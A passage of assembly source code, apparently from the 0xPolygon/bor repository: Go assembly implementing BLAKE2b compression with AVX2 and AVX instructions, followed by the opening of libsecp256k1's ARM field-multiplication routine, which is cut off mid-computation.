msg: Y15 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y15(i0, i1, i2, i3) \ VMOVQ_SI_X15(i0*8); \ VMOVQ_SI_X11(i2*8); \ VPINSRQ_1_SI_X15(i1*8); \ VPINSRQ_1_SI_X11(i3*8); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_0_2_4_6_1_3_5_7_8_10_12_14_9_11_13_15() \ VMOVQ_SI_X12_0; \ VMOVQ_SI_X11(4*8); \ VPINSRQ_1_SI_X12(2*8); \ VPINSRQ_1_SI_X11(6*8); \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(1, 3, 5, 7); \ LOAD_MSG_AVX2_Y14(8, 10, 12, 14); \ LOAD_MSG_AVX2_Y15(9, 11, 13, 15) #define LOAD_MSG_AVX2_14_4_9_13_10_8_15_6_1_0_11_5_12_2_7_3() \ LOAD_MSG_AVX2_Y12(14, 4, 9, 13); \ LOAD_MSG_AVX2_Y13(10, 8, 15, 6); \ VMOVQ_SI_X11(11*8); \ VPSHUFD $0x4E, 0*8(SI), X14; \ VPINSRQ_1_SI_X11(5*8); \ VINSERTI128 $1, X11, Y14, Y14; \ LOAD_MSG_AVX2_Y15(12, 2, 7, 3) #define LOAD_MSG_AVX2_11_12_5_15_8_0_2_13_10_3_7_9_14_6_1_4() \ VMOVQ_SI_X11(5*8); \ VMOVDQU 11*8(SI), X12; \ VPINSRQ_1_SI_X11(15*8); \ VINSERTI128 $1, X11, Y12, Y12; \ VMOVQ_SI_X13(8*8); \ VMOVQ_SI_X11(2*8); \ VPINSRQ_1_SI_X13_0; \ VPINSRQ_1_SI_X11(13*8); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(10, 3, 7, 9); \ LOAD_MSG_AVX2_Y15(14, 6, 1, 4) #define LOAD_MSG_AVX2_7_3_13_11_9_1_12_14_2_5_4_15_6_10_0_8() \ LOAD_MSG_AVX2_Y12(7, 3, 13, 11); \ LOAD_MSG_AVX2_Y13(9, 1, 12, 14); \ LOAD_MSG_AVX2_Y14(2, 5, 4, 15); \ VMOVQ_SI_X15(6*8); \ VMOVQ_SI_X11_0; \ VPINSRQ_1_SI_X15(10*8); \ VPINSRQ_1_SI_X11(8*8); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_9_5_2_10_0_7_4_15_14_11_6_3_1_12_8_13() \ LOAD_MSG_AVX2_Y12(9, 5, 2, 10); \ VMOVQ_SI_X13_0; \ VMOVQ_SI_X11(4*8); \ VPINSRQ_1_SI_X13(7*8); \ VPINSRQ_1_SI_X11(15*8); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(14, 11, 6, 3); \ LOAD_MSG_AVX2_Y15(1, 12, 8, 13) #define LOAD_MSG_AVX2_2_6_0_8_12_10_11_3_4_7_15_1_13_5_14_9() \ VMOVQ_SI_X12(2*8); \ VMOVQ_SI_X11_0; \ VPINSRQ_1_SI_X12(6*8); \ VPINSRQ_1_SI_X11(8*8); \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(12, 10, 11, 3); \ LOAD_MSG_AVX2_Y14(4, 7, 15, 1); \ LOAD_MSG_AVX2_Y15(13, 5, 14, 9) #define LOAD_MSG_AVX2_12_1_14_4_5_15_13_10_0_6_9_8_7_3_2_11() \ LOAD_MSG_AVX2_Y12(12, 1, 14, 4); \ LOAD_MSG_AVX2_Y13(5, 15, 13, 10); \ VMOVQ_SI_X14_0; \ VPSHUFD $0x4E, 8*8(SI), X11; \ VPINSRQ_1_SI_X14(6*8); \ VINSERTI128 $1, X11, Y14, Y14; \ LOAD_MSG_AVX2_Y15(7, 3, 2, 11) #define LOAD_MSG_AVX2_13_7_12_3_11_14_1_9_5_15_8_2_0_4_6_10() \ LOAD_MSG_AVX2_Y12(13, 7, 12, 3); \ LOAD_MSG_AVX2_Y13(11, 14, 1, 9); \ LOAD_MSG_AVX2_Y14(5, 15, 8, 2); \ VMOVQ_SI_X15_0; \ VMOVQ_SI_X11(6*8); \ VPINSRQ_1_SI_X15(4*8); \ VPINSRQ_1_SI_X11(10*8); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_6_14_11_0_15_9_3_8_12_13_1_10_2_7_4_5() \ VMOVQ_SI_X12(6*8); \ VMOVQ_SI_X11(11*8); \ VPINSRQ_1_SI_X12(14*8); \ VPINSRQ_1_SI_X11_0; \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(15, 9, 3, 8); \ VMOVQ_SI_X11(1*8); \ VMOVDQU 12*8(SI), X14; \ VPINSRQ_1_SI_X11(10*8); \ VINSERTI128 $1, X11, Y14, Y14; \ VMOVQ_SI_X15(2*8); \ VMOVDQU 4*8(SI), X11; \ VPINSRQ_1_SI_X15(7*8); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_10_8_7_1_2_4_6_5_15_9_3_13_11_14_12_0() \ LOAD_MSG_AVX2_Y12(10, 8, 7, 1); \ VMOVQ_SI_X13(2*8); \ VPSHUFD $0x4E, 5*8(SI), X11; \ VPINSRQ_1_SI_X13(4*8); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(15, 9, 3, 13); \ VMOVQ_SI_X15(11*8); \ VMOVQ_SI_X11(12*8); \ VPINSRQ_1_SI_X15(14*8); \ VPINSRQ_1_SI_X11_0; \ VINSERTI128 $1, X11, Y15, Y15 // func fAVX2(h *[8]uint64, m *[16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fAVX2(SB), 4, $64-48 // frame size = 32 + 32 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, DX MOVQ SP, R10 ADDQ $31, R10 ANDQ $~31, R10 MOVQ R10, SP MOVQ CX, 16(SP) XORQ CX, CX MOVQ CX, 24(SP) VMOVDQU ·AVX2_c40<>(SB), Y4 VMOVDQU ·AVX2_c48<>(SB), Y5 VMOVDQU 0(AX), Y8 VMOVDQU 32(AX), Y9 VMOVDQU ·AVX2_iv0<>(SB), Y6 VMOVDQU ·AVX2_iv1<>(SB), Y7 MOVQ R8, 0(SP) MOVQ R9, 8(SP) VMOVDQA Y8, Y0 VMOVDQA Y9, Y1 VMOVDQA Y6, Y2 VPXOR 0(SP), Y7, Y3 loop: SUBQ $1, BX; JCS done LOAD_MSG_AVX2_0_2_4_6_1_3_5_7_8_10_12_14_9_11_13_15() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_14_4_9_13_10_8_15_6_1_0_11_5_12_2_7_3() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_11_12_5_15_8_0_2_13_10_3_7_9_14_6_1_4() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_7_3_13_11_9_1_12_14_2_5_4_15_6_10_0_8() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_9_5_2_10_0_7_4_15_14_11_6_3_1_12_8_13() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_2_6_0_8_12_10_11_3_4_7_15_1_13_5_14_9() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_12_1_14_4_5_15_13_10_0_6_9_8_7_3_2_11() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_13_7_12_3_11_14_1_9_5_15_8_2_0_4_6_10() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_6_14_11_0_15_9_3_8_12_13_1_10_2_7_4_5() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_10_8_7_1_2_4_6_5_15_9_3_13_11_14_12_0() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) JMP loop done: VPXOR Y0, Y8, Y8 VPXOR Y1, Y9, Y9 VPXOR Y2, Y8, Y8 VPXOR Y3, Y9, Y9 VMOVDQU Y8, 0(AX) VMOVDQU Y9, 32(AX) VZEROUPPER MOVQ DX, SP RET #define VPUNPCKLQDQ_X2_X2_X15 BYTE $0xC5; BYTE $0x69; BYTE $0x6C; BYTE $0xFA #define VPUNPCKLQDQ_X3_X3_X15 BYTE $0xC5; BYTE $0x61; BYTE $0x6C; BYTE $0xFB #define VPUNPCKLQDQ_X7_X7_X15 BYTE $0xC5; BYTE $0x41; BYTE $0x6C; BYTE $0xFF #define VPUNPCKLQDQ_X13_X13_X15 BYTE $0xC4; BYTE $0x41; BYTE $0x11; BYTE $0x6C; BYTE $0xFD #define VPUNPCKLQDQ_X14_X14_X15 BYTE $0xC4; BYTE $0x41; BYTE $0x09; BYTE $0x6C; BYTE $0xFE #define VPUNPCKHQDQ_X15_X2_X2 BYTE $0xC4; BYTE $0xC1; BYTE $0x69; BYTE $0x6D; BYTE $0xD7 #define VPUNPCKHQDQ_X15_X3_X3 BYTE $0xC4; BYTE $0xC1; BYTE $0x61; BYTE $0x6D; BYTE $0xDF #define VPUNPCKHQDQ_X15_X6_X6 BYTE $0xC4; BYTE $0xC1; BYTE $0x49; BYTE $0x6D; BYTE $0xF7 #define VPUNPCKHQDQ_X15_X7_X7 BYTE $0xC4; BYTE $0xC1; BYTE $0x41; BYTE $0x6D; BYTE $0xFF #define VPUNPCKHQDQ_X15_X3_X2 BYTE $0xC4; BYTE $0xC1; BYTE $0x61; BYTE $0x6D; BYTE $0xD7 #define VPUNPCKHQDQ_X15_X7_X6 BYTE $0xC4; BYTE $0xC1; BYTE $0x41; BYTE $0x6D; BYTE $0xF7 #define VPUNPCKHQDQ_X15_X13_X3 BYTE $0xC4; BYTE $0xC1; BYTE $0x11; BYTE $0x6D; BYTE $0xDF #define VPUNPCKHQDQ_X15_X13_X7 BYTE $0xC4; BYTE $0xC1; BYTE $0x11; BYTE $0x6D; BYTE $0xFF #define SHUFFLE_AVX() \ VMOVDQA X6, X13; \ VMOVDQA X2, X14; \ VMOVDQA X4, X6; \ VPUNPCKLQDQ_X13_X13_X15; \ VMOVDQA X5, X4; \ VMOVDQA X6, X5; \ VPUNPCKHQDQ_X15_X7_X6; \ VPUNPCKLQDQ_X7_X7_X15; \ VPUNPCKHQDQ_X15_X13_X7; \ VPUNPCKLQDQ_X3_X3_X15; \ VPUNPCKHQDQ_X15_X2_X2; \ VPUNPCKLQDQ_X14_X14_X15; \ VPUNPCKHQDQ_X15_X3_X3; \ #define SHUFFLE_AVX_INV() \ VMOVDQA X2, X13; \ VMOVDQA X4, X14; \ VPUNPCKLQDQ_X2_X2_X15; \ VMOVDQA X5, X4; \ VPUNPCKHQDQ_X15_X3_X2; \ VMOVDQA X14, X5; \ VPUNPCKLQDQ_X3_X3_X15; \ VMOVDQA X6, X14; \ VPUNPCKHQDQ_X15_X13_X3; \ VPUNPCKLQDQ_X7_X7_X15; \ VPUNPCKHQDQ_X15_X6_X6; \ VPUNPCKLQDQ_X14_X14_X15; \ VPUNPCKHQDQ_X15_X7_X7; \ #define HALF_ROUND_AVX(v0, v1, v2, v3, v4, v5, v6, v7, m0, m1, m2, m3, t0, c40, c48) \ VPADDQ m0, v0, v0; \ VPADDQ v2, v0, v0; \ VPADDQ m1, v1, v1; \ VPADDQ v3, v1, v1; \ VPXOR v0, v6, v6; \ VPXOR v1, v7, v7; \ VPSHUFD $-79, v6, v6; \ VPSHUFD $-79, v7, v7; \ VPADDQ v6, v4, v4; \ VPADDQ v7, v5, v5; \ VPXOR v4, v2, v2; \ VPXOR v5, v3, v3; \ VPSHUFB c40, v2, v2; \ VPSHUFB c40, v3, v3; \ VPADDQ m2, v0, v0; \ VPADDQ v2, v0, v0; \ VPADDQ m3, v1, v1; \ VPADDQ v3, v1, v1; \ VPXOR v0, v6, v6; \ VPXOR v1, v7, v7; \ VPSHUFB c48, v6, v6; \ VPSHUFB c48, v7, v7; \ VPADDQ v6, v4, v4; \ VPADDQ v7, v5, v5; \ VPXOR v4, v2, v2; \ VPXOR v5, v3, v3; \ VPADDQ v2, v2, t0; \ VPSRLQ $63, v2, v2; \ VPXOR t0, v2, v2; \ VPADDQ v3, v3, t0; \ VPSRLQ $63, v3, v3; \ VPXOR t0, v3, v3 // load msg: X12 = (i0, i1), X13 = (i2, i3), X14 = (i4, i5), X15 = (i6, i7) // i0, i1, i2, i3, i4, i5, i6, i7 must not be 0 #define LOAD_MSG_AVX(i0, i1, i2, i3, i4, i5, i6, i7) \ VMOVQ_SI_X12(i0*8); \ VMOVQ_SI_X13(i2*8); \ VMOVQ_SI_X14(i4*8); \ VMOVQ_SI_X15(i6*8); \ VPINSRQ_1_SI_X12(i1*8); \ VPINSRQ_1_SI_X13(i3*8); \ VPINSRQ_1_SI_X14(i5*8); \ VPINSRQ_1_SI_X15(i7*8) // load msg: X12 = (0, 2), X13 = (4, 6), X14 = (1, 3), X15 = (5, 7) #define LOAD_MSG_AVX_0_2_4_6_1_3_5_7() \ VMOVQ_SI_X12_0; \ VMOVQ_SI_X13(4*8); \ VMOVQ_SI_X14(1*8); \ VMOVQ_SI_X15(5*8); \ VPINSRQ_1_SI_X12(2*8); \ VPINSRQ_1_SI_X13(6*8); \ VPINSRQ_1_SI_X14(3*8); \ VPINSRQ_1_SI_X15(7*8) // load msg: X12 = (1, 0), X13 = (11, 5), X14 = (12, 2), X15 = (7, 3) #define LOAD_MSG_AVX_1_0_11_5_12_2_7_3() \ VPSHUFD $0x4E, 0*8(SI), X12; \ VMOVQ_SI_X13(11*8); \ VMOVQ_SI_X14(12*8); \ VMOVQ_SI_X15(7*8); \ VPINSRQ_1_SI_X13(5*8); \ VPINSRQ_1_SI_X14(2*8); \ VPINSRQ_1_SI_X15(3*8) // load msg: X12 = (11, 12), X13 = (5, 15), X14 = (8, 0), X15 = (2, 13) #define LOAD_MSG_AVX_11_12_5_15_8_0_2_13() \ VMOVDQU 11*8(SI), X12; \ VMOVQ_SI_X13(5*8); \ VMOVQ_SI_X14(8*8); \ VMOVQ_SI_X15(2*8); \ VPINSRQ_1_SI_X13(15*8); \ VPINSRQ_1_SI_X14_0; \ VPINSRQ_1_SI_X15(13*8) // load msg: X12 = (2, 5), X13 = (4, 15), X14 = (6, 10), X15 = (0, 8) #define LOAD_MSG_AVX_2_5_4_15_6_10_0_8() \ VMOVQ_SI_X12(2*8); \ VMOVQ_SI_X13(4*8); \ VMOVQ_SI_X14(6*8); \ VMOVQ_SI_X15_0; \ VPINSRQ_1_SI_X12(5*8); \ VPINSRQ_1_SI_X13(15*8); \ VPINSRQ_1_SI_X14(10*8); \ VPINSRQ_1_SI_X15(8*8) // load msg: X12 = (9, 5), X13 = (2, 10), X14 = (0, 7), X15 = (4, 15) #define LOAD_MSG_AVX_9_5_2_10_0_7_4_15() \ VMOVQ_SI_X12(9*8); \ VMOVQ_SI_X13(2*8); \ VMOVQ_SI_X14_0; \ VMOVQ_SI_X15(4*8); \ VPINSRQ_1_SI_X12(5*8); \ VPINSRQ_1_SI_X13(10*8); \ VPINSRQ_1_SI_X14(7*8); \ VPINSRQ_1_SI_X15(15*8) // load msg: X12 = (2, 6), X13 = (0, 8), X14 = (12, 10), X15 = (11, 3) #define LOAD_MSG_AVX_2_6_0_8_12_10_11_3() \ VMOVQ_SI_X12(2*8); \ VMOVQ_SI_X13_0; \ VMOVQ_SI_X14(12*8); \ VMOVQ_SI_X15(11*8); \ VPINSRQ_1_SI_X12(6*8); \ VPINSRQ_1_SI_X13(8*8); \ VPINSRQ_1_SI_X14(10*8); \ VPINSRQ_1_SI_X15(3*8) // load msg: X12 = (0, 6), X13 = (9, 8), X14 = (7, 3), X15 = (2, 11) #define LOAD_MSG_AVX_0_6_9_8_7_3_2_11() \ MOVQ 0*8(SI), X12; \ VPSHUFD $0x4E, 8*8(SI), X13; \ MOVQ 7*8(SI), X14; \ MOVQ 2*8(SI), X15; \ VPINSRQ_1_SI_X12(6*8); \ VPINSRQ_1_SI_X14(3*8); \ VPINSRQ_1_SI_X15(11*8) // load msg: X12 = (6, 14), X13 = (11, 0), X14 = (15, 9), X15 = (3, 8) #define LOAD_MSG_AVX_6_14_11_0_15_9_3_8() \ MOVQ 6*8(SI), X12; \ MOVQ 11*8(SI), X13; \ MOVQ 15*8(SI), X14; \ MOVQ 3*8(SI), X15; \ VPINSRQ_1_SI_X12(14*8); \ VPINSRQ_1_SI_X13_0; \ VPINSRQ_1_SI_X14(9*8); \ VPINSRQ_1_SI_X15(8*8) // load msg: X12 = (5, 15), X13 = (8, 2), X14 = (0, 4), X15 = (6, 10) #define LOAD_MSG_AVX_5_15_8_2_0_4_6_10() \ MOVQ 5*8(SI), X12; \ MOVQ 8*8(SI), X13; \ MOVQ 0*8(SI), X14; \ MOVQ 6*8(SI), X15; \ VPINSRQ_1_SI_X12(15*8); \ VPINSRQ_1_SI_X13(2*8); \ VPINSRQ_1_SI_X14(4*8); \ VPINSRQ_1_SI_X15(10*8) // load msg: X12 = (12, 13), X13 = (1, 10), X14 = (2, 7), X15 = (4, 5) #define LOAD_MSG_AVX_12_13_1_10_2_7_4_5() \ VMOVDQU 12*8(SI), X12; \ MOVQ 1*8(SI), X13; \ MOVQ 2*8(SI), X14; \ VPINSRQ_1_SI_X13(10*8); \ VPINSRQ_1_SI_X14(7*8); \ VMOVDQU 4*8(SI), X15 // load msg: X12 = (15, 9), X13 = (3, 13), X14 = (11, 14), X15 = (12, 0) #define LOAD_MSG_AVX_15_9_3_13_11_14_12_0() \ MOVQ 15*8(SI), X12; \ MOVQ 3*8(SI), X13; \ MOVQ 11*8(SI), X14; \ MOVQ 12*8(SI), X15; \ VPINSRQ_1_SI_X12(9*8); \ VPINSRQ_1_SI_X13(13*8); \ VPINSRQ_1_SI_X14(14*8); \ VPINSRQ_1_SI_X15_0 // func fAVX(h *[8]uint64, m *[16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fAVX(SB), 4, $24-48 // frame size = 8 + 16 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, BP MOVQ SP, R10 ADDQ $15, R10 ANDQ $~15, R10 MOVQ R10, SP VMOVDQU ·AVX_c40<>(SB), X0 VMOVDQU ·AVX_c48<>(SB), X1 VMOVDQA X0, X8 VMOVDQA X1, X9 VMOVDQU ·AVX_iv3<>(SB), X0 VMOVDQA X0, 0(SP) XORQ CX, 0(SP) // 0(SP) = ·AVX_iv3 ^ (CX || 0) VMOVDQU 0(AX), X10 VMOVDQU 16(AX), X11 VMOVDQU 32(AX), X2 VMOVDQU 48(AX), X3 VMOVQ_R8_X15 VPINSRQ_1_R9_X15 VMOVDQA X10, X0 VMOVDQA X11, X1 VMOVDQU ·AVX_iv0<>(SB), X4 VMOVDQU ·AVX_iv1<>(SB), X5 VMOVDQU ·AVX_iv2<>(SB), X6 VPXOR X15, X6, X6 VMOVDQA 0(SP), X7 loop: SUBQ $1, BX; JCS done LOAD_MSG_AVX_0_2_4_6_1_3_5_7() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(8, 10, 12, 14, 9, 11, 13, 15) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(14, 4, 9, 13, 10, 8, 15, 6) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_1_0_11_5_12_2_7_3() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_11_12_5_15_8_0_2_13() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(10, 3, 7, 9, 14, 6, 1, 4) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(7, 3, 13, 11, 9, 1, 12, 14) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_2_5_4_15_6_10_0_8() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_9_5_2_10_0_7_4_15() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(14, 11, 6, 3, 1, 12, 8, 13) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_2_6_0_8_12_10_11_3() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(4, 7, 15, 1, 13, 5, 14, 9) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(12, 1, 14, 4, 5, 15, 13, 10) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_0_6_9_8_7_3_2_11() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(13, 7, 12, 3, 11, 14, 1, 9) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_5_15_8_2_0_4_6_10() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_6_14_11_0_15_9_3_8() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_12_13_1_10_2_7_4_5() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(10, 8, 7, 1, 2, 4, 6, 5) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_15_9_3_13_11_14_12_0() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() JMP loop done: VMOVDQU 32(AX), X14 VMOVDQU 48(AX), X15 VPXOR X0, X10, X10 VPXOR X1, X11, X11 VPXOR X2, X14, X14 VPXOR X3, X15, X15 VPXOR X4, X10, X10 VPXOR X5, X11, X11 VPXOR X6, X14, X2 VPXOR X7, X15, X3 VMOVDQU X2, 32(AX) VMOVDQU X3, 48(AX) VMOVDQU X10, 0(AX) VMOVDQU X11, 16(AX) VZEROUPPER MOVQ BP, SP RET

0xPolygon/bor

28,281

crypto/secp256k1/libsecp256k1/src/asm/field_10x26_arm.s

@ vim: set tabstop=8 softtabstop=8 shiftwidth=8 noexpandtab syntax=armasm: /*********************************************************************** * Copyright (c) 2014 Wladimir J. van der Laan * * Distributed under the MIT software license, see the accompanying * * file COPYING or https://www.opensource.org/licenses/mit-license.php.* ***********************************************************************/ /* ARM implementation of field_10x26 inner loops. Note: - To avoid unnecessary loads and make use of available registers, two 'passes' have every time been interleaved, with the odd passes accumulating c' and d' which will be added to c and d respectively in the even passes */ .syntax unified @ eabi attributes - see readelf -A .eabi_attribute 24, 1 @ Tag_ABI_align_needed = 8-byte .eabi_attribute 25, 1 @ Tag_ABI_align_preserved = 8-byte, except leaf SP .text @ Field constants .set field_R0, 0x3d10 .set field_R1, 0x400 .set field_not_M, 0xfc000000 @ ~M = ~0x3ffffff .align 2 .global secp256k1_fe_mul_inner .type secp256k1_fe_mul_inner, %function .hidden secp256k1_fe_mul_inner @ Arguments: @ r0 r Restrict: can overlap with a, not with b @ r1 a @ r2 b @ Stack (total 4+10*4 = 44) @ sp + #0 saved 'r' pointer @ sp + #4 + 4*X t0,t1,t2,t3,t4,t5,t6,t7,u8,t9 secp256k1_fe_mul_inner: stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, r14} sub sp, sp, #48 @ frame=44 + alignment str r0, [sp, #0] @ save result address, we need it only at the end /****************************************** * Main computation code. ****************************************** Allocation: r0,r14,r7,r8 scratch r1 a (pointer) r2 b (pointer) r3:r4 c r5:r6 d r11:r12 c' r9:r10 d' Note: do not write to r[] here, it may overlap with a[] */ /* A - interleaved with B */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #9*4] @ b[9] ldr r0, [r1, #1*4] @ a[1] umull r5, r6, r7, r8 @ d = a[0] * b[9] ldr r14, [r2, #8*4] @ b[8] umull r9, r10, r0, r8 @ d' = a[1] * b[9] ldr r7, [r1, #2*4] @ a[2] umlal r5, r6, r0, r14 @ d += a[1] * b[8] ldr r8, [r2, #7*4] @ b[7] umlal r9, r10, r7, r14 @ d' += a[2] * b[8] ldr r0, [r1, #3*4] @ a[3] umlal r5, r6, r7, r8 @ d += a[2] * b[7] ldr r14, [r2, #6*4] @ b[6] umlal r9, r10, r0, r8 @ d' += a[3] * b[7] ldr r7, [r1, #4*4] @ a[4] umlal r5, r6, r0, r14 @ d += a[3] * b[6] ldr r8, [r2, #5*4] @ b[5] umlal r9, r10, r7, r14 @ d' += a[4] * b[6] ldr r0, [r1, #5*4] @ a[5] umlal r5, r6, r7, r8 @ d += a[4] * b[5] ldr r14, [r2, #4*4] @ b[4] umlal r9, r10, r0, r8 @ d' += a[5] * b[5] ldr r7, [r1, #6*4] @ a[6] umlal r5, r6, r0, r14 @ d += a[5] * b[4] ldr r8, [r2, #3*4] @ b[3] umlal r9, r10, r7, r14 @ d' += a[6] * b[4] ldr r0, [r1, #7*4] @ a[7] umlal r5, r6, r7, r8 @ d += a[6] * b[3] ldr r14, [r2, #2*4] @ b[2] umlal r9, r10, r0, r8 @ d' += a[7] * b[3] ldr r7, [r1, #8*4] @ a[8] umlal r5, r6, r0, r14 @ d += a[7] * b[2] ldr r8, [r2, #1*4] @ b[1] umlal r9, r10, r7, r14 @ d' += a[8] * b[2] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r8 @ d += a[8] * b[1] ldr r14, [r2, #0*4] @ b[0] umlal r9, r10, r0, r8 @ d' += a[9] * b[1] ldr r7, [r1, #0*4] @ a[0] umlal r5, r6, r0, r14 @ d += a[9] * b[0] @ r7,r14 used in B bic r0, r5, field_not_M @ t9 = d & M str r0, [sp, #4 + 4*9] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 /* B */ umull r3, r4, r7, r14 @ c = a[0] * b[0] adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u0 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u0 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t0 = c & M str r14, [sp, #4 + 0*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u0 * R1 umlal r3, r4, r0, r14 /* C - interleaved with D */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #2*4] @ b[2] ldr r14, [r2, #1*4] @ b[1] umull r11, r12, r7, r8 @ c' = a[0] * b[2] ldr r0, [r1, #1*4] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r11, r12, r0, r14 @ c' += a[1] * b[1] ldr r7, [r1, #2*4] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] * b[0] ldr r14, [r2, #9*4] @ b[9] umlal r11, r12, r7, r8 @ c' += a[2] * b[0] ldr r0, [r1, #3*4] @ a[3] umlal r5, r6, r7, r14 @ d += a[2] * b[9] ldr r8, [r2, #8*4] @ b[8] 